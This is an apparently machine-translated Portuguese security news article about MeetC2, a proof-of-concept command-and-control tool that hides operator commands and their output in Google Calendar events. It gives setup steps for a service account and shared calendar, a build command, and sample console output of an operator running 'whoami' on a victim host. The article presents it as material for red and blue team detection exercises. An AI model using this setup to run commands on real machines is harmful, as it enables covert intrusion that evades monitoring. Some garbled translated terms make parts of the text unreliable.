MeetC2 – Uma estrutura C2 sem servidor que aproveita as APIs do Google

Data: 2025-09-06 09:49:02

Autor: Inteligência Against Invaders

MeetC2 – Uma estrutura C2 sem servidor que aproveita as APIs do Google Agenda como um canal de comunicação

O MeetC2 é uma ferramenta PoC C2 que usa o Google Agenda para imitar o abuso da nuvem, ajudando as equipes a testar a detecção, o registro e a resposta.

Fundo: Os adversários modernos ocultam cada vez mais o tráfego de comando e controle (C2) dentro dos serviços de nuvem. Criamos essa PoC (prova de conceito) para estudar e demonstrar essas técnicas de maneira controlada, emulando essas táticas para que as equipes vermelhas e azuis possam exercitar a detecção, a telemetria e a resposta a cenários de abuso na nuvem.

Hora da história: Durante um exercício interno da equipe roxa, vimos a facilidade com que o tráfego para domínios SaaS confiáveis diminuiu. Criamos uma PoC leve e multiplataforma que usa o Google Agenda, oferecendo às equipes uma maneira reproduzível de validar detecções, registros e governança de aplicativos de terceiros para C2 de abuso de nuvem em um ambiente controlado.

ConheçaC2: ConheçaC2é uma estrutura C2 de prova de conceito que usa a API Google Agenda como um canal de comunicação secreto entre as operadoras e um sistema comprometido.

Visão geral

ConheçaC2, também conhecido por MeetingC2, é um aplicativo multiplataforma (macOS/Linux) que demonstra como serviços de nuvem legítimos podem ser abusados para operações adversárias. Ao usar as APIs do Google Agenda, a estrutura cria um canal de comunicação oculto que se mistura com o tráfego comercial normal.

Os domínios utilizados aqui são “*oauth2.googleapis.com*” & “*www.googleapis.com*“. Uma vez autenticado, o agente entra em um loop de sondagem, enviando solicitações GET a cada 30 segundos para “*www.googleapis.com/calendar/v3/calendars/{calendarId}/eventos*” para verificar se há novos eventos de calendário contendo comandos.

Quando o organizador quiser emitir um novo comando, ele pode**POSTAR**um novo evento para o mesmo endpoint da API Calendar por meio de “*Organizador*” com o comando incorporado no campo de resumo do evento, como “*Reunião de ninguém: [COMMAND]*”.

O “*hóspede*” identifica esses eventos de comando durante sua sondagem regular, que extrai e executa o comando localmente e, em seguida, atualiza o mesmo evento por meio de um**PÔR**solicitação para incluir a saída do comando dentro do*[OUTPUT] [/OUTPUT]*no campo

Descrição.

Configuração do Google Agenda

- Navegue até o URLConsole de nuvem do Google, faça login com sua conta do Google. Selecione um projeto ou crie um novo projeto.
- Navegue até “APIs e serviços” ? clique em “Biblioteca”, na caixa de pesquisa, procure a API do Google Agenda e clique em “ATIVADO”, levará de 20 a 30 segundos para ativá-lo em seu projeto.
- Poste isso, navegue até “APIs e serviços” ? “Credenciais” e clique em “+ CRIAR CREDENCIAIS” na parte superior. Escolha “Conta de serviço”, preencha os detalhes necessários, ou seja, Nome da conta de serviço: calendar-invite, Descrição: Sincroniza eventos de calendário e continua. Pule a função/usuários opcionais e clique em “CONCLUÍDO”.
- Agora verifique suas listas de contas de serviço e você deve ter um e-mail como “”. Vá para a seção “CHAVES” “ADICIONAR CHAVE” ? “Criar nova chave”, escolha o formato “JSON” e baixe a “CHAVE”. Renomeie o arquivo JSON baixado para credentials.json para uso posterior.
- Navegue até o URL “https://calendar.google.com”, no lado esquerdo, encontre “Outros calendários” ? Clique no botão “+” clique em criar novo calendário, preencha o nome/descrição. Poste isso, clique nos 3 pontos ao lado ? “Configurações e compartilhamento”. Role para baixo até “Integrar calendário”, verifique “ID do calendário” deve ser semelhante a “”.
- Etapas finais, nas configurações do calendário, encontre “Compartilhar com pessoas específicas”, clique em “+ Adicionar pessoas”, adicione o e-mail da conta de serviço da etapa 4 acima (aquela que termina em @your-project.iam.gserviceaccount.com). Altere a permissão para “Fazer alterações nos eventos” e clique em “Enviar” e está tudo pronto.

Linha de comando

Compilar:

```
./build-all.sh
```

Host do invasor:

```
bash-3.2$ ./organizador credentials.jsem [NAME]@group.calendar.google.com
Organizador MeetC2
Comandos:
Exec — Execute em todos os hosts
@host executivo: — Executar em host específico
exec @*: — Executar em todos os hosts (explícito)
```

list — Lista comandos recentes
Obter — Obter saída do comando
clear — Limpar eventos executados
exit — Organizador de saída
— — — — — — — — — — — — — — — — — — — —
> executivo whoami
Comando criado para todos os hosts: qfj4tt8a4uoi8p7cd3b8t31337
>
>

Anfitrião vítima:

bash-3.2$ ./convidado-darwin-arm64
16:08:04 MeetC2 Convidado iniciado em dhirajmishra
16:08:04 ID do calendário: [NAME]@group.calendar.google.com
16:08:04 Sondagem a cada 10 segundos…
16:08:15 Executando o comando: whoami
16:08:16 Evento atualizado com êxito com saída

Agradecimentos: Este projeto foi inspirado noGC2-folhaautorLooCiprian. Por isso, um agradecimento especial a ele.

OpSec: Embora isso seja funcional, sei que há melhorias no OpSec especificamente para o "*hóspede*" binário. Portanto, use um projeto de teste do GCP para essa configuração, que deve ser eliminado posteriormente.

Baixar MeetC2

https://github.com/deriv-security/MeetC2

Sobre o autor:Pesquisador de segurança Dhiraj Mishra (@mishradhiraj)

Siga-me no Twitter:@securityaffairseLinkedineMastodonte

PierluigiPaganini

(Assuntos de Segurança–hacking,MeetC2)